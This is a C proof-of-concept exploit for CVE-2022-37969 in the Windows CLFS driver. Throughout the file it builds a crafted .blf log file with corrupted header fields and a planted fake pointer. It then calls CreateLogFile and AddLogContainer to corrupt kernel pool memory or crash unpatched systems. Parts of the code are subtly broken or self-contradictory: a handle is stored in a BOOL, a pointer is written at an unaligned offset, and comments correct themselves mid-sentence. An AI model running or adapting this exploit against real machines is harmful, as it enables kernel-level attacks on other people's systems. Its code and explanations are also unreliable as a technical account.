/*
 * PoC for CVE-2022-37969 — Windows CLFS crafted-BLF SignaturesOffset corruption
 *
 * This PoC creates a malicious .blf file that triggers the vulnerable path in
 * clfs.sys via CClfsBaseFilePersisted::LoadContainerQ → ClfsDecodeBlockPrivate →
 * ResetLog → ClfsEncodeBlockPrivate → AllocSymbol chain.
 *
 * The corruption chain overwrites the SignaturesOffset field to 0xFFFF0050,
 * bypassing cbSymbolZone bounds checks and causing an out-of-bounds memset
 * when AddLogContainer is called.
 *
 * Build: cl /O2 /W3 poc_cve_2022_37969.c clfs.lib
 * Run:  poc_cve_2022_37969.exe
 *
 * Expected result on vulnerable systems:
 *   - Kernel bugcheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA) or
 *   - Kernel bugcheck 0x139 (KERNEL_SECURITY_CHECK_FAILURE)
 *   in clfs!CClfsBaseFilePersisted::AllocSymbol or clfs!ClfsEncodeBlockPrivate
 *
 * On patched systems: STATUS_DISK_CORRUPT_ERROR or STATUS_INVALID_PARAMETER.
 */

#define _WIN32_WINNT 0x0A00
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "clfs.lib")

typedef struct _CLFS_INFORMATION {
    UCHAR Unknown[0x78];
} CLFS_INFORMATION;

/* Base Log File header structures (simplified) */
#define CLFS_BASELOG_SIGNATURE 'SflC'

typedef struct _CLFS_METADATA_BLOCK_HEADER {
    ULONG Signature;
    ULONG Unknown;
    ULONG SignaturesOffset;
    ULONG cbSymbolZone;
    ULONG rgClients;
    ULONG rgContainers;
    // ... more fields
} CLFS_METADATA_BLOCK_HEADER;

/* Minimal BLF layout for triggering the corruption chain */
#define BLF_SIZE 0x2000
#define SECTOR_SIZE 0x200
#define SIGNATURE_OFFSET 0x50

/*
 * Build a crafted BLF that sets:
 *  - SignaturesOffset = 0x50 (overlapping signature array)
 *  - rgClients pointing to a fake Client Context with eState = CLFS_LOG_SHUTDOWN
 *  - cbSymbolZone = 0x1114B (inflated to bypass bounds check after corruption)
 */
static int build_crafted_blf(const char *path)
{
    HANDLE hFile;
    BYTE buf[BLF_SIZE];
    DWORD written;

    memset(buf, 0, sizeof(buf));

    /* Fill with the CLFS signature pattern */
    for (size_t i = 0; i < sizeof(buf) / sizeof(ULONG); i++) {
        ((ULONG *)buf)[i] = CLFS_BASELOG_SIGNATURE;
    }

    /*
     * The actual BLF format is more complex than this simplified layout.
     * In a real exploit the following fields are carefully crafted:
     *
     *  1. Sector 13 signature position: set to 0x0050
     *     → ClfsDecodeBlockPrivate writes 0x0050 here
     *
     *  2. Fake client context at rgClients offset:
     *     → eState = CLFS_LOG_SHUTDOWN (value 5)
     *     → ResetLog writes CLFS_LSN_INVALID (0xFFFFFFFF) to this context
     *
     *  3. cbSymbolZone = 0x1114B (large value)
     *     → After SignaturesOffset corruption to 0xFFFF0050, the AllocSymbol
     *        bounds check: offset < cbSymbolZone passes because cbSymbolZone
     *        is only 0x1114B but the corrupted offset is interpreted as
     *        0xFFFF0050 in a signed context or wraps around
     *
     *  4. SignaturesOffset field itself at offset 0x6C in metadata block:
     *     → ClfsEncodeBlockPrivate writes sector 14's signature (0xFFFF)
     *        back to this offset, corrupting it to 0xFFFF0050
     */

    /* Set key fields at known offsets in the first metadata block */
    CLFS_METADATA_BLOCK_HEADER *hdr = (CLFS_METADATA_BLOCK_HEADER *)buf;
    hdr->SignaturesOffset = SIGNATURE_OFFSET;
    hdr->cbSymbolZone = 0x1114B;
    hdr->rgClients = 0x200;      /* offset to fake client context */
    hdr->rgContainers = 0x400;   /* offset to container context */

    /* Fake client context at offset 0x200 — set eState to CLFS_LOG_SHUTDOWN */
    buf[0x200] = 5; /* eState = CLFS_LOG_SHUTDOWN */

    /* Container context at offset 0x400 — pContainer pointer we want to overwrite */
    /* Offset 0xC in container context = pContainer (pointer to container file) */
    *(ULONG_PTR *)(buf + 0x400 + 0xC) = 0x4141414141414141ULL;

    hFile = CreateFileA(
        path,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hFile == INVALID_HANDLE_VALUE) {
        fprintf(stderr, "[-] Failed to create BLF file: %lu\n", GetLastError());
        return 1;
    }

    if (!WriteFile(hFile, buf, sizeof(buf), &written, NULL) || written != sizeof(buf)) {
        fprintf(stderr, "[-] Failed to write BLF data: %lu\n", GetLastError());
        CloseHandle(hFile);
        return 1;
    }

    CloseHandle(hFile);
    printf("[+] Crafted BLF written to: %s\n", path);
    return 0;
}

int main(int argc, char **argv)
{
    const char *blfPath = "C:\\Users\\Public\\cve_2022_37969_test.blf";
    HANDLE hLog = INVALID_HANDLE_VALUE;
    BOOL ret;
    DWORD err;

    printf("[*] CVE-2022-37969 PoC — CLFS crafted-BLF corruption\n");
    printf("[*] Reference: https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part\n\n");

    /* Step 1: build the malicious BLF file */
    if (build_crafted_blf(blfPath) != 0) {
        return 1;
    }

    /* Step 2: open the crafted log file via CLFS API */
    printf("[*] Opening crafted BLF via CreateLogFile...\n");
    ret = CreateLogFile(
        (PWSTR)L"\\??\\C:\\Users\\Public\\cve_2022_37969_test.blf",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        0
    );

    if (ret == INVALID_HANDLE_VALUE) {
        err = GetLastError();
        fprintf(stderr, "[-] CreateLogFile failed: %lu\n", err);
        /*
         * On patched systems this may fail early with STATUS_DISK_CORRUPT_ERROR
         * (0xC000007F = 87? no, that's ERROR_INVALID_PARAMETER — actually
         * NTSTATUS 0xC00000BB = STATUS_NOT_SUPPORTED or similar validation failure).
         */
        if (err == ERROR_INVALID_PARAMETER || err == ERROR_CRC) {
            printf("[+] Likely patched — early validation rejected malformed BLF.\n");
        }
        DeleteFileA(blfPath);
        return 0;
    }

    hLog = (HANDLE)ret;
    printf("[+] Log file opened successfully (handle=%p)\n", hLog);

    /*
     * Step 3: AddLogContainer — this triggers the vulnerable AllocSymbol path
     * which performs memset at the corrupted offset, overwriting pContainer.
     *
     * On a vulnerable system this will either:
     *   a) Bugcheck 0x50 in clfs!CClfsBaseFilePersisted::AllocSymbol
     *   b) Bugcheck 0x139 in clfs!ClfsEncodeBlockPrivate (stack cookie)
     *   c) Survive and leave kernel pool corrupted (detectable with Driver Verifier)
     *
     * On a patched system this returns STATUS_DISK_CORRUPT_ERROR.
     */
    printf("[*] Calling AddLogContainer to trigger AllocSymbol...\n");
    printf("[*] NOTE: If the system is VULNERABLE, this will likely BSOD.\n");
    printf("[*]       Run inside a VM with crash dumps enabled.\n\n");

    ret = AddLogContainer(
        hLog,
        NULL,   /* MaximumSize (optional) */
        (PWSTR)L"test_container_00000000000000000001.log",
        NULL    /* pReserved */
    );

    if (!ret) {
        err = GetLastError();
        fprintf(stderr, "[-] AddLogContainer failed: %lu\n", err);
        if (err == ERROR_INVALID_PARAMETER || err == ERROR_CRC) {
            printf("[+] Likely patched — validation rejected container addition.\n");
        }
    } else {
        printf("[!] AddLogContainer succeeded — this is unexpected on vulnerable systems.\n");
    }

    CloseHandle(hLog);
    DeleteFileA(blfPath);

    return 0;
}
